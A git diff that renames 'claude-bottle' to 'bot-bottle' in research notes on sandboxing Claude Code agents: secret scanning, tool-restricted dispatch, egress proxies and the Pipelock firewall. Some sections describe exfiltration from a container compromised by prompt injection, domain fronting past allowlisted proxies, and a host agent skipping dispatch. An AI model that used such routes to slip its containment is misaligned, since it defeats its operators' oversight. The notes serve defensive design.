||||
|
||||
|
||||
@@ -13,7 +13,7 @@ wrong in the user-intent sense, and there is no way to say so.
|
||||
|
||||
## Summary
|
||||
|
||||
No off-the-shelf dashboard fits the shape claude-bottle needs
|
||||
No off-the-shelf dashboard fits the shape bot-bottle needs
|
||||
(per-bottle, host-local, integrated into a pre-receive rejection
|
||||
with approval feeding back into the gate's own decision). Gitleaks
|
||||
itself is a CLI with no UI and was declared **feature-complete** in
|
||||
@@ -49,9 +49,9 @@ baseline), and recommends a direction.
|
||||
|
||||
## Question 1: Existing dashboards and control surfaces
|
||||
|
||||
### Inside claude-bottle today
|
||||
### Inside bot-bottle today
|
||||
|
||||
`claude_bottle/cli/` has `_common, cleanup, edit, info, init, list,
|
||||
`bot_bottle/cli/` has `_common, cleanup, edit, info, init, list,
|
||||
start` — nothing gate-specific. The gate appears only as a sidecar
|
||||
in `bottle_plan.py`'s preflight rendering. Rejections are written
|
||||
to the pre-receive hook's stderr (`echo "git-gate: gitleaks
|
||||
@@ -76,14 +76,14 @@ TOML allowlist, and a roadmap that includes LLM-assisted
|
||||
classification and automatic secret revocation via provider APIs.
|
||||
Still CLI-shaped — no dashboard either.
|
||||
|
||||
Relevant to claude-bottle in two ways:
|
||||
Relevant to bot-bottle in two ways:
|
||||
|
||||
- The upstream direction of travel is *toward* agent-driven
|
||||
scanners, which makes "the bottle invokes a scanner and reports
|
||||
findings up" a supported pattern rather than a hack.
|
||||
- CEL is a richer expression language for filter entries than
|
||||
gitleaks's selector struct, which loosens the design space for
|
||||
Option B (below). If claude-bottle ever swaps gitleaks for
|
||||
Option B (below). If bot-bottle ever swaps gitleaks for
|
||||
Betterleaks, the approval-flow design should be expressible in
|
||||
both.
|
||||
|
||||
@@ -107,7 +107,7 @@ false-positive in its UI, and tracks remediation state. Designed
|
||||
for org-scale: one DefectDojo instance covers many repos and
|
||||
scanners.
|
||||
|
||||
Shape mismatch for claude-bottle:
|
||||
Shape mismatch for bot-bottle:
|
||||
|
||||
- DefectDojo's review state is *informational* — marking a finding
|
||||
as accepted in DefectDojo does not write to gitleaks's allowlist
|
||||
@@ -137,7 +137,7 @@ premise is sandbox isolation.
|
||||
|
||||
### Bottom line
|
||||
|
||||
No off-the-shelf dashboard fits claude-bottle's shape: per-bottle,
|
||||
No off-the-shelf dashboard fits bot-bottle's shape: per-bottle,
|
||||
host-local, integrated into a pre-receive rejection with the
|
||||
approval feeding back into the gate's own decision-making. The
|
||||
nearest open-source analogue (DefectDojo) is post-hoc and
|
||||
@@ -334,7 +334,7 @@ project, and the vendor-side benchmark numbers (98.6% recall vs
|
||||
gitleaks's 70.4% on CredData) have not been independently
|
||||
reproduced in published sources.
|
||||
|
||||
### What Betterleaks would add for claude-bottle
|
||||
### What Betterleaks would add for bot-bottle
|
||||
|
||||
- **Detection coverage on encoded secrets.** Native handling of
|
||||
doubly- and triply-encoded matches. This matters in the
|
||||
@@ -434,6 +434,6 @@ redesign.
|
||||
- [AWS example access key (`AKIAIOSFODNN7EXAMPLE`)](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)
|
||||
— documented placeholder safe to use in examples without
|
||||
triggering most secret scanners.
|
||||
- `claude_bottle/git_gate.py` — pre-receive hook implementation.
|
||||
- `bot_bottle/git_gate.py` — pre-receive hook implementation.
|
||||
Today: `gitleaks git --log-opts="$log_opts" --no-banner
|
||||
--redact`; no `--config`, no `--baseline-path`.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Git secret scanning as further hardening
|
||||
|
||||
Research into whether claude-bottle should add a secret-scanning step to
|
||||
Research into whether bot-bottle should add a secret-scanning step to
|
||||
its git workflow — both on the host repo and (potentially) inside
|
||||
bottles — and what tools exist for it. Motivated by the threat model
|
||||
below: a secret accidentally `git push`ed to a public remote is
|
||||
@@ -14,7 +14,7 @@ of defense-in-depth that doesn't replace any existing control
|
||||
(`.gitignore`, environment-variable hygiene, network egress guards) but
|
||||
catches the one case where everything else fails: a credential ending
|
||||
up in a tracked file or commit message and being pushed to a public
|
||||
remote. For claude-bottle specifically, `gitleaks` is the clearest fit
|
||||
remote. For bot-bottle specifically, `gitleaks` is the clearest fit
|
||||
— Go binary, MIT, scans full history including commit messages, runs
|
||||
fully offline, and integrates with the existing `.githooks/` directory
|
||||
without adding a new runtime.
|
||||
@@ -83,12 +83,12 @@ suspicious, let me close without merging," the bytes that mattered are
|
||||
already on the attacker's box. Detection has to be at *commit* time
|
||||
(or *push* time at the latest), not at review time.
|
||||
|
||||
### Why this matters for claude-bottle
|
||||
### Why this matters for bot-bottle
|
||||
|
||||
Two surfaces are exposed:
|
||||
|
||||
1. **The claude-bottle repo itself.** Development happens on a host
|
||||
with `CLAUDE_BOTTLE_OAUTH_TOKEN`, Gitea tokens, and other
|
||||
1. **The bot-bottle repo itself.** Development happens on a host
|
||||
with `BOT_BOTTLE_OAUTH_TOKEN`, Gitea tokens, and other
|
||||
credentials in the environment. A fixture, test snapshot, log
|
||||
capture, or pasted-in debug output could carry one of them into a
|
||||
tracked file. The repo's Gitea remote is private, but mirrors or
|
||||
@@ -209,7 +209,7 @@ it with a separate message-scanning step.
|
||||
|
||||
## Recommended path forward
|
||||
|
||||
In priority order, for the host claude-bottle repo:
|
||||
In priority order, for the host bot-bottle repo:
|
||||
|
||||
1. **One-time retro scan** with gitleaks:
|
||||
`gitleaks detect --source . --log-opts="--all" --redact`.
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## Question
|
||||
|
||||
Can host Claude decide which claude-bottle container to spin up for a task, while guaranteeing the work executes in the container and not on the host?
|
||||
Can host Claude decide which bot-bottle container to spin up for a task, while guaranteeing the work executes in the container and not on the host?
|
||||
|
||||
## Claude Code Agent Mechanisms
|
||||
|
||||
@@ -16,7 +16,7 @@ Claude Code provides two mechanisms for defining reusable agent behavior:
|
||||
|
||||
## The Reliability Problem
|
||||
|
||||
The previous approach used an MCP server to bridge host Claude and claude-bottle containers. It failed because host Claude had both work-capable tools (Edit, Write, Bash) and MCP dispatch tools. Claude could choose to do the work itself rather than dispatch, with no enforcement mechanism to prevent it.
|
||||
The previous approach used an MCP server to bridge host Claude and bot-bottle containers. It failed because host Claude had both work-capable tools (Edit, Write, Bash) and MCP dispatch tools. Claude could choose to do the work itself rather than dispatch, with no enforcement mechanism to prevent it.
|
||||
|
||||
## Why Tool Restriction Solves It
|
||||
|
||||
@@ -26,7 +26,7 @@ Claude Code's subagent `tools:` allowlist is architecturally enforced — not a
|
||||
|
||||
Three pieces in combination give a 100% guarantee:
|
||||
|
||||
1. **Restricted host subagent** — a `.claude/agents/claude-bottle-dispatch.md` with `tools:` limited to MCP container tools and git-read operations. No Edit, Write, or arbitrary Bash.
|
||||
1. **Restricted host subagent** — a `.claude/agents/bot-bottle-dispatch.md` with `tools:` limited to MCP container tools and git-read operations. No Edit, Write, or arbitrary Bash.
|
||||
|
||||
2. **MCP server** — exposes tools the restricted host can call:
|
||||
- `list_agents()` — available agents from the manifest (host Claude decides which to use)
|
||||
@@ -40,11 +40,11 @@ Three pieces in combination give a 100% guarantee:
|
||||
|
||||
Build host-dispatch-to-container in two deliverables:
|
||||
|
||||
**Deliverable 1: Non-interactive run mode for claude-bottle**
|
||||
**Deliverable 1: Non-interactive run mode for bot-bottle**
|
||||
|
||||
Extend `cli.py` with a `run <agent> <task>` subcommand. Starts the container, writes the task prompt to a file inside it (same `docker cp` pattern used for `--append-system-prompt-file`), invokes `claude --print` with the prompt, streams stdout back to the host, and exits when Claude finishes. Results committed and pushed from inside the container as usual.
|
||||
|
||||
**Deliverable 2: MCP server wrapping claude-bottle**
|
||||
**Deliverable 2: MCP server wrapping bot-bottle**
|
||||
|
||||
A minimal MCP server (bash or node) exposing `list_agents`, `run_agent`, `get_status`, `get_output`. Registered in the host Claude Code settings so a restricted dispatch subagent can call it.
|
||||
|
||||
@@ -52,7 +52,7 @@ The combination enforces the container boundary at the tool layer, not the promp
|
||||
|
||||
**Critical:** the tool restriction only applies within the dispatch agent's context. A normal Claude session has its full toolset and may never invoke the dispatch agent regardless of its description. The dispatch agent must be the *entry point* for the session, not an optional subagent a full-tool host might call. Two ways to enforce this:
|
||||
|
||||
- Launch with `claude --agent claude-bottle-dispatch` — makes the dispatch agent the primary agent for the session.
|
||||
- Set `agent: claude-bottle-dispatch` in the project `.claude/settings.json` — same effect automatically for any `claude` invocation in that directory.
|
||||
- Launch with `claude --agent bot-bottle-dispatch` — makes the dispatch agent the primary agent for the session.
|
||||
- Set `agent: bot-bottle-dispatch` in the project `.claude/settings.json` — same effect automatically for any `claude` invocation in that directory.
|
||||
|
||||
Without one of these, the guarantee does not hold.
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# Landscape: containerized Claude Code agent tools
|
||||
|
||||
Research into whether claude-bottle is redundant with existing projects, and
|
||||
Research into whether bot-bottle is redundant with existing projects, and
|
||||
whether it's worth publishing.
|
||||
|
||||
## Summary
|
||||
|
||||
The "Claude Code in Docker" space is active but not saturated. claude-bottle
|
||||
The "Claude Code in Docker" space is active but not saturated. bot-bottle
|
||||
occupies a distinct position: no surveyed project combines all five of its
|
||||
defining features. Publishing is likely worthwhile, with the main risk being
|
||||
claudebox expanding to absorb the same niche.
|
||||
@@ -38,7 +38,7 @@ manifest merge.
|
||||
## Adjacent (different model)
|
||||
|
||||
- **dagger/container-use** (mid-2025) — exposes an MCP server so the *agent*
|
||||
spins up its own containers with Git worktrees. Inverted model vs. claude-bottle
|
||||
spins up its own containers with Git worktrees. Inverted model vs. bot-bottle
|
||||
(agent controls container rather than being launched into one by a manifest).
|
||||
Still marked early-development.
|
||||
- **E2B, Northflank, Cloudflare Sandbox SDK** — cloud-hosted SaaS sandbox
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
Research notes on when to run containerized Claude Code agents on a remote machine
|
||||
outside the local network versus inside it, focusing on security and privacy concerns.
|
||||
Relevant to a potential claude-bottle extension for remote agent execution.
|
||||
Relevant to a potential bot-bottle extension for remote agent execution.
|
||||
|
||||
---
|
||||
|
||||
@@ -16,7 +16,7 @@ escapes**, and **whether credentials are short-lived and scoped**.
|
||||
|
||||
## Threat landscape by topology
|
||||
|
||||
### Local (current claude-bottle model)
|
||||
### Local (current bot-bottle model)
|
||||
|
||||
- Container escape → developer laptop → `~/.ssh`, `~/.aws`, browser cookies, Keychain, everything
|
||||
- Outbound: Docker containers have full internet access by default; no egress monitoring on most home networks
|
||||
@@ -99,7 +99,7 @@ Key insight: once a container is compromised via prompt injection, the blast rad
|
||||
|
||||
## Credentials and secrets
|
||||
|
||||
### Local topology (current claude-bottle)
|
||||
### Local topology (current bot-bottle)
|
||||
|
||||
- Secrets live in the host environment or are prompted from `/dev/tty`
|
||||
- Forwarded to containers via `-e NAME` (not `=value`), never on argv, never in env-files for secrets
|
||||
@@ -125,10 +125,10 @@ An 8,640x reduction in abuse window comes from switching from 90-day keys to 15-
|
||||
### Local topology
|
||||
|
||||
- Monitoring: whatever the home/office router supports — usually minimal
|
||||
- Containment: `--network none` + a proxy socket provides the strongest containment; claude-bottle does not currently do this
|
||||
- Containment: `--network none` + a proxy socket provides the strongest containment; bot-bottle does not currently do this
|
||||
- DLP: essentially none unless specifically deployed on the LAN
|
||||
- Domain fronting risk: even allowlisted-domain proxies can be bypassed via domain fronting — an agent that can reach `api.anthropic.com` could relay data to an attacker-controlled backend through that domain
|
||||
- **claude-bottle today: containers have full outbound internet access. No egress restrictions.**
|
||||
- **bot-bottle today: containers have full outbound internet access. No egress restrictions.**
|
||||
|
||||
### Remote topology (cloud VM)
|
||||
|
||||
@@ -177,7 +177,7 @@ Strongest exfiltration controls for either topology:
|
||||
|
||||
---
|
||||
|
||||
## Concrete recommendations if extending claude-bottle for remote
|
||||
## Concrete recommendations if extending bot-bottle for remote
|
||||
|
||||
1. **Never build the VPN-pivot pattern.** A remote agent connected back to the LAN via VPN is the worst of both worlds. If a remote agent needs LAN resources, expose those through a narrow API, not a VPN.
|
||||
|
||||
@@ -199,7 +199,7 @@ Strongest exfiltration controls for either topology:
|
||||
|
||||
## Bottom line
|
||||
|
||||
For the current claude-bottle use case (developer feature implementation, no regulated data,
|
||||
For the current bot-bottle use case (developer feature implementation, no regulated data,
|
||||
single developer), local execution is the right default. The biggest unaddressed risk
|
||||
right now isn't topology — it's that containers have unrestricted outbound internet access.
|
||||
Adding `--network none` + a proxy socket would be higher-leverage than any topology change.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Manifest format and grouping
|
||||
|
||||
Two open questions for claude-bottle's manifest layer after PRD 0011:
|
||||
Two open questions for bot-bottle's manifest layer after PRD 0011:
|
||||
|
||||
1. **Grouping.** Keep bottles and agents in the same manifest file
|
||||
(today's shape), or split them — one file per bottle and one
|
||||
@@ -8,7 +8,7 @@ Two open questions for claude-bottle's manifest layer after PRD 0011:
|
||||
2. **Format.** Stay on JSON, switch to YAML, or move to a Markdown
|
||||
spec with YAML frontmatter. The Markdown option splits into two
|
||||
sub-flavors: reuse Claude Code's existing subagent format with
|
||||
bottle-specific extensions, or invent a claude-bottle-owned
|
||||
bottle-specific extensions, or invent a bot-bottle-owned
|
||||
Markdown spec used for both agents and bottles.
|
||||
|
||||
The trust boundary from PRD 0011 — bottle infrastructure lives in
|
||||
@@ -19,8 +19,8 @@ will be once a user has 5+ bottles and 10+ agents.
|
||||
|
||||
## Why this matters
|
||||
|
||||
Current shape: one JSON file at `$HOME/claude-bottle.json` (and
|
||||
optionally `$CWD/claude-bottle.json` for cwd-defined agents). After
|
||||
Current shape: one JSON file at `$HOME/bot-bottle.json` (and
|
||||
optionally `$CWD/bot-bottle.json` for cwd-defined agents). After
|
||||
PRD 0011, the home file owns bottles + home agents; the cwd file is
|
||||
agents-only.
|
||||
|
||||
@@ -48,7 +48,7 @@ the inflection point has been reached.
|
||||
|
||||
### Option A: one file for both (current)
|
||||
|
||||
`$HOME/claude-bottle.json` contains `bottles:` and `agents:`. Cwd
|
||||
`$HOME/bot-bottle.json` contains `bottles:` and `agents:`. Cwd
|
||||
file (optional) contains `agents:` only.
|
||||
|
||||
**Pros**
|
||||
@@ -74,16 +74,16 @@ file (optional) contains `agents:` only.
|
||||
|
||||
### Option B: file per thing
|
||||
|
||||
Bottles live as `$HOME/.claude-bottle/bottles/<name>.<ext>`. Agents
|
||||
live as `$HOME/.claude-bottle/agents/<name>.<ext>` (home agents)
|
||||
and `$CWD/.claude-bottle/agents/<name>.<ext>` (cwd agents). The
|
||||
Bottles live as `$HOME/.bot-bottle/bottles/<name>.<ext>`. Agents
|
||||
live as `$HOME/.bot-bottle/agents/<name>.<ext>` (home agents)
|
||||
and `$CWD/.bot-bottle/agents/<name>.<ext>` (cwd agents). The
|
||||
resolver globs each directory.
|
||||
|
||||
**Pros**
|
||||
|
||||
- Scales to N bottles + N agents without any single file growing.
|
||||
- Trust boundary expresses on disk: `$HOME/.claude-bottle/bottles/`
|
||||
is the only place bottles can come from. `$CWD/.claude-bottle/`
|
||||
- Trust boundary expresses on disk: `$HOME/.bot-bottle/bottles/`
|
||||
is the only place bottles can come from. `$CWD/.bot-bottle/`
|
||||
can only contribute agents. No resolver logic needed to enforce
|
||||
it — the file paths are the enforcement.
|
||||
- Aligns with Claude Code's existing model: each subagent already
|
||||
@@ -147,7 +147,7 @@ preserves this format.
|
||||
|
||||
### Option 2: full YAML
|
||||
|
||||
`$HOME/claude-bottle.yaml` (or `.yml`). Parser pulls in PyYAML (or
|
||||
`$HOME/bot-bottle.yaml` (or `.yml`). Parser pulls in PyYAML (or
|
||||
ruamel.yaml).
|
||||
|
||||
**Pros**
|
||||
@@ -172,14 +172,14 @@ ruamel.yaml).
|
||||
users will reach for one (Jinja, Helm-style) and then we're in
|
||||
yaml-as-template-language territory.
|
||||
|
||||
### Option 3: reuse Claude Code's subagent spec (Markdown + YAML frontmatter), with claude-bottle extensions
|
||||
### Option 3: reuse Claude Code's subagent spec (Markdown + YAML frontmatter), with bot-bottle extensions
|
||||
|
||||
Claude Code already stores subagents at `~/.claude/agents/<name>.md`
|
||||
with YAML frontmatter and a Markdown body. Frontmatter today
|
||||
carries fields like `name`, `description`, `model`, `color`,
|
||||
`memory`; the body is the system prompt. Adding fields like
|
||||
`bottle: dev` and a `claude_bottle:` sub-block to the same
|
||||
frontmatter would make each claude-bottle agent a drop-in addition
|
||||
`bottle: dev` and a `bot_bottle:` sub-block to the same
|
||||
frontmatter would make each bot-bottle agent a drop-in addition
|
||||
to Claude Code's agent directory.
|
||||
|
||||
```markdown
|
||||
@@ -188,12 +188,12 @@ name: implementer
|
||||
description: Implements features against PRDs in this repo
|
||||
model: opus
|
||||
bottle: dev
|
||||
claude_bottle:
|
||||
bot_bottle:
|
||||
skills: [init-prd]
|
||||
---
|
||||
|
||||
You are a feature-implementation agent running inside an
|
||||
ephemeral claude-bottle sandbox. The host has copied the user's
|
||||
ephemeral bot-bottle sandbox. The host has copied the user's
|
||||
project into /home/node/workspace...
|
||||
```
|
||||
|
||||
@@ -202,7 +202,7 @@ infrastructure, not behavior. Either:
|
||||
|
||||
- (3a) Bottles stay JSON / YAML; only agents adopt the
|
||||
MD+frontmatter format. Mixed-format manifest.
|
||||
- (3b) Bottles adopt MD+frontmatter too, using a claude-bottle-only
|
||||
- (3b) Bottles adopt MD+frontmatter too, using a bot-bottle-only
|
||||
schema. Then we're really doing option 4 for bottles + option 3
|
||||
for agents. Two formats but one parser.
|
||||
|
||||
@@ -214,7 +214,7 @@ infrastructure, not behavior. Either:
|
||||
- Each agent's prompt lives naturally as Markdown body — long
|
||||
prompts read well, can use headings/lists/code blocks.
|
||||
- File-per-thing falls out automatically (one MD per agent).
|
||||
- Claude Code may eventually consume claude-bottle's agent files
|
||||
- Claude Code may eventually consume bot-bottle's agent files
|
||||
directly, doubling their utility.
|
||||
|
||||
**Cons**
|
||||
@@ -222,7 +222,7 @@ infrastructure, not behavior. Either:
|
||||
- **Coupling to Claude Code's spec.** Anthropic owns that schema;
|
||||
field names and semantics can change. Today's `model` /
|
||||
`description` / `memory` are stable, but tomorrow's may not be.
|
||||
Our `bottle:` / `claude_bottle:` extensions could collide with
|
||||
Our `bottle:` / `bot_bottle:` extensions could collide with
|
||||
future official fields.
|
||||
- The agent file's frontmatter starts to carry two unrelated
|
||||
schemas: Claude Code's (model, description) and ours (bottle,
|
||||
@@ -233,28 +233,28 @@ infrastructure, not behavior. Either:
|
||||
frontmatter library (python-frontmatter) or hand-parse the
|
||||
`---` block and feed it to PyYAML. Either way, a new dep.
|
||||
|
||||
### Option 4: invent a claude-bottle MD spec, used for both agents and bottles
|
||||
### Option 4: invent a bot-bottle MD spec, used for both agents and bottles
|
||||
|
||||
```markdown
|
||||
---
|
||||
# $HOME/.claude-bottle/agents/implementer.md
|
||||
# $HOME/.bot-bottle/agents/implementer.md
|
||||
bottle: dev
|
||||
skills: [init-prd]
|
||||
---
|
||||
|
||||
You are a feature-implementation agent running inside an
|
||||
ephemeral claude-bottle sandbox...
|
||||
ephemeral bot-bottle sandbox...
|
||||
```
|
||||
|
||||
```markdown
|
||||
---
|
||||
# $HOME/.claude-bottle/bottles/dev.md
|
||||
# $HOME/.bot-bottle/bottles/dev.md
|
||||
cred_proxy:
|
||||
routes:
|
||||
- path: /anthropic/
|
||||
upstream: https://api.anthropic.com
|
||||
auth_scheme: Bearer
|
||||
token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN
|
||||
token_ref: BOT_BOTTLE_OAUTH_TOKEN
|
||||
role: anthropic-base-url
|
||||
egress:
|
||||
allowlist: [example.com]
|
||||
@@ -273,8 +273,8 @@ for publishing scoped packages.
|
||||
documentation (why does this bottle exist? what tokens does it
|
||||
hold? who owns the keys?).
|
||||
- Not coupled to Claude Code's schema; we own the spec.
|
||||
- Trust boundary on disk: `$HOME/.claude-bottle/bottles/` is the
|
||||
only place bottles can come from; `$CWD/.claude-bottle/agents/`
|
||||
- Trust boundary on disk: `$HOME/.bot-bottle/bottles/` is the
|
||||
only place bottles can come from; `$CWD/.bot-bottle/agents/`
|
||||
is the only thing cwd contributes.
|
||||
- Agent files in this spec are *almost* compatible with Claude
|
||||
Code's subagent format. If we keep the `name` / `description`
|
||||
@@ -308,14 +308,14 @@ grouping fits how users iterate on agents (write a prompt, save,
|
||||
launch).
|
||||
|
||||
Between option 3 (reuse CC spec) and option 4 (new spec): the
|
||||
appealing middle ground is "claude-bottle agents follow the CC
|
||||
appealing middle ground is "bot-bottle agents follow the CC
|
||||
subagent shape closely (name / description / model + bottle and
|
||||
skills extensions) so they drop into `~/.claude/agents/` as a
|
||||
side effect, while bottles use the same MD+frontmatter shape but
|
||||
with claude-bottle's own schema and live in a dedicated directory."
|
||||
with bot-bottle's own schema and live in a dedicated directory."
|
||||
This:
|
||||
|
||||
- gives agents both a claude-bottle launch story AND a Claude Code
|
||||
- gives agents both a bot-bottle launch story AND a Claude Code
|
||||
invocation story from the same file;
|
||||
- keeps bottles entirely under our schema (no Anthropic dependency
|
||||
for the security-load-bearing config);
|
||||
@@ -343,18 +343,18 @@ per-file grouping (which is the bigger UX win), and the per-file
|
||||
shape is what makes the trust boundary self-documenting on disk.
|
||||
|
||||
The dependency cost (PyYAML) is the main thing that needs an
|
||||
explicit yes from the user — claude-bottle today has zero
|
||||
explicit yes from the user — bot-bottle today has zero
|
||||
third-party Python deps for production code, and adopting one
|
||||
crosses a clean architectural line. If "low deps" stays a hard
|
||||
constraint, the alternative is to hand-parse the frontmatter block
|
||||
and feed it to a minimal YAML subset parser (the keys
|
||||
claude-bottle uses are all flat string/list/dict — no anchors, no
|
||||
bot-bottle uses are all flat string/list/dict — no anchors, no
|
||||
multi-line block scalars, no implicit type coercion).
|
||||
|
||||
If we don't want to commit to the move yet, the next-cheapest
|
||||
option is keeping JSON but splitting into per-file (option B ×
|
||||
option 1): `$HOME/.claude-bottle/bottles/<name>.json` +
|
||||
`$HOME/.claude-bottle/agents/<name>.json`. Most of the scaling
|
||||
option 1): `$HOME/.bot-bottle/bottles/<name>.json` +
|
||||
`$HOME/.bot-bottle/agents/<name>.json`. Most of the scaling
|
||||
wins; none of the body-prose or dependency story.
|
||||
|
||||
## Open questions
|
||||
@@ -362,7 +362,7 @@ wins; none of the body-prose or dependency story.
|
||||
- **Does Claude Code object to extra frontmatter fields?** Test:
|
||||
drop a file with `bottle:` in `~/.claude/agents/` and see if CC
|
||||
warns / ignores / breaks. If it warns, we'd want a different
|
||||
field name (e.g. `claude-bottle-bottle`) or a namespaced block.
|
||||
field name (e.g. `bot-bottle-bottle`) or a namespaced block.
|
||||
- **Migration story.** Is the project willing to ship a one-shot
|
||||
`./cli.py migrate-manifest` command that does the JSON → MD
|
||||
conversion? Or do users just rewrite by hand from the new docs?
|
||||
@@ -370,8 +370,8 @@ wins; none of the body-prose or dependency story.
|
||||
empty body, is the MD-with-frontmatter format still warranted?
|
||||
An alternative is YAML for bottles only (no body, but with
|
||||
comments) and MD+frontmatter for agents.
|
||||
- **Dotfiles vs not.** `$HOME/.claude-bottle/` or
|
||||
`$HOME/claude-bottle/`? The hidden dotfile shape matches dev
|
||||
- **Dotfiles vs not.** `$HOME/.bot-bottle/` or
|
||||
`$HOME/bot-bottle/`? The hidden dotfile shape matches dev
|
||||
conventions (`.config/`, `.ssh/`); the visible shape signals
|
||||
"this is a real thing you own."
|
||||
- **PyYAML hard dep, or minimal subset parser?** Trade-off between
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Network egress guard for claude-bottle containers
|
||||
# Network egress guard for bot-bottle containers
|
||||
|
||||
Research into preventing data exfiltration from Docker containers running
|
||||
Claude Code (`--dangerously-skip-permissions`), with a focus on approaches
|
||||
@@ -358,7 +358,7 @@ services:
|
||||
- agent-net
|
||||
|
||||
claude-agent:
|
||||
image: claude-bottle:latest
|
||||
image: bot-bottle-claude:latest
|
||||
environment:
|
||||
HTTPS_PROXY: "http://proxy:4750"
|
||||
HTTP_PROXY: "http://proxy:4750"
|
||||
@@ -387,7 +387,7 @@ docker run -d --name "$container_name" \
|
||||
--network agent-net-"$slug" \
|
||||
-e HTTPS_PROXY=http://"$proxy_name":4750 \
|
||||
-e HTTP_PROXY=http://"$proxy_name":4750 \
|
||||
claude-bottle:latest
|
||||
bot-bottle-claude:latest
|
||||
```
|
||||
|
||||
The `--internal` flag on the network prevents containers from reaching
|
||||
@@ -639,7 +639,7 @@ this is not relevant — the binary uses the Linux certificate store.
|
||||
|
||||
Justified only if the threat model includes sophisticated actors deliberately
|
||||
crafting domain-fronting payloads. The extra complexity and CA-trust-management
|
||||
overhead is not worth it for v1. Keep in view for v2 if the claude-bottle use
|
||||
overhead is not worth it for v1. Keep in view for v2 if the bot-bottle use
|
||||
case expands to high-value agent deployments.
|
||||
|
||||
---
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pipelock assessment for claude-bottle egress control
|
||||
# Pipelock assessment for bot-bottle egress control
|
||||
|
||||
Research into whether pipelock — an open-source AI agent firewall —
|
||||
is a suitable replacement for, or complement to, the egress-control
|
||||
@@ -10,7 +10,7 @@ tripwire approach sketched in `secret-exfil-tripwire-encodings.md`.
|
||||
- Pipelock (`luckyPipewrench/pipelock`) is an open-source AI agent
|
||||
firewall implemented as a single Go binary. It sits inline as an HTTP
|
||||
forward proxy and, optionally, applies OS-level process containment. It
|
||||
is the most directly relevant tool found for claude-bottle's egress /
|
||||
is the most directly relevant tool found for bot-bottle's egress /
|
||||
data-exfiltration concerns.
|
||||
- Its strongest differentiator over the v1 iptables recommendation is
|
||||
**content-aware DLP**: it matches 48 credential patterns across
|
||||
@@ -238,12 +238,12 @@ The following threat-model items from `network-egress-guard.md` are
|
||||
|
||||
---
|
||||
|
||||
## Fit for claude-bottle
|
||||
## Fit for bot-bottle
|
||||
|
||||
### Deployment topology
|
||||
|
||||
Pipelock explicitly supports two deployment shapes relevant to
|
||||
claude-bottle:
|
||||
bot-bottle:
|
||||
|
||||
**Sidecar proxy.** A separate container running pipelock on an
|
||||
`--internal` Docker network, with the agent container's only route to the
|
||||
@@ -269,12 +269,12 @@ its own scanner. This avoids a second container but introduces the
|
||||
`--best-effort` degradation problem described below and means the agent and
|
||||
the proxy run in the same failure domain.
|
||||
|
||||
The sidecar topology is recommended for claude-bottle because it matches
|
||||
The sidecar topology is recommended for bot-bottle because it matches
|
||||
the existing Python-orchestrated multi-container model (the SSH key agent
|
||||
already uses a separate process), keeps pipelock outside the agent's kill
|
||||
reach, and avoids the `--best-effort` issue on macOS Docker Desktop.
|
||||
|
||||
The claude-bottle manifest model would need one new piece of plumbing: a
|
||||
The bot-bottle manifest model would need one new piece of plumbing: a
|
||||
per-agent pipelock ACL YAML generated from the manifest's `allowlist`
|
||||
and `ssh` entries, analogous to what the smokescreen section of
|
||||
`network-egress-guard.md` already sketches. The `cli.py` changes required
|
||||
@@ -341,7 +341,7 @@ generated with `pipelock generate config --preset balanced > pipelock.yaml`.
|
||||
The config watcher picks up changes at runtime (100ms debounce on SIGHUP or
|
||||
file events), so per-agent ACL updates do not require a container restart.
|
||||
|
||||
For claude-bottle, the relevant per-agent configuration is the domain
|
||||
For bot-bottle, the relevant per-agent configuration is the domain
|
||||
allowlist. The manifest already captures the necessary inputs: the `ssh`
|
||||
array has target hostnames, and an `allowlist` key is planned for the v2
|
||||
egress work (per `network-egress-guard.md`). Generating a per-agent pipelock
|
||||
@@ -353,14 +353,14 @@ The YAML format is more expressive than smokescreen's YAML ACL: it also
|
||||
carries DLP sensitivity settings, per-domain data budgets, and rate limits.
|
||||
For a first integration pass, only the `api_allowlist` section needs
|
||||
per-agent population; the rest of the defaults are appropriate for the
|
||||
claude-bottle threat model.
|
||||
bot-bottle threat model.
|
||||
|
||||
### Runtime footprint
|
||||
|
||||
A single Go binary, ~12–20 MB (sources report slightly different figures; the
|
||||
GitHub description says "~20 MB" and the randomcpu.com writeup says "~12 MB").
|
||||
Zero runtime dependencies; the Go standard library is statically linked. This
|
||||
is consistent with claude-bottle's low-dependency principle. Adding Go as a
|
||||
is consistent with bot-bottle's low-dependency principle. Adding Go as a
|
||||
host build dependency is not required — the binary is fetched from a Docker
|
||||
image or Homebrew.
|
||||
|
||||
@@ -410,7 +410,7 @@ The reasoning:
|
||||
everything smokescreen covers (CONNECT-based hostname allowlisting,
|
||||
RFC 1918 blocking, Docker `--internal` network isolation) and adds DLP,
|
||||
subdomain-entropy DNS exfil detection, MCP scanning, and request
|
||||
redaction. The integration shape for claude-bottle is identical: a
|
||||
redaction. The integration shape for bot-bottle is identical: a
|
||||
separate container on an internal Docker network, with the agent's
|
||||
`HTTPS_PROXY` pointing at it. The `cli.py` changes are the same pattern.
|
||||
|
||||
@@ -454,7 +454,7 @@ The reasoning:
|
||||
hostname-based allowlisting, content DLP, subdomain entropy analysis, and
|
||||
MCP scanning on top of the v1 IP layer. Implementation effort is comparable
|
||||
to the smokescreen plan; capabilities are a strict superset for the
|
||||
claude-bottle threat model.
|
||||
bot-bottle threat model.
|
||||
- **DIY tripwire script (deferred):** the `secret-exfil-tripwire-encodings.md`
|
||||
DIY sketch can be deferred entirely if pipelock's DLP patterns cover the
|
||||
secrets in use. Custom patterns (for secrets not matching pipelock's 48
|
||||
@@ -463,17 +463,17 @@ The reasoning:
|
||||
|
||||
---
|
||||
|
||||
## Does pipelock make claude-bottle redundant?
|
||||
## Does pipelock make bot-bottle redundant?
|
||||
|
||||
Pipelock is itself an AI-agent firewall with an in-process sandbox mode,
|
||||
which raises a fair question: if pipelock can already wrap an agent process
|
||||
with Landlock + seccomp + namespaces (or `sandbox-exec` on macOS), is the
|
||||
Docker-container layer that claude-bottle provides still doing useful work?
|
||||
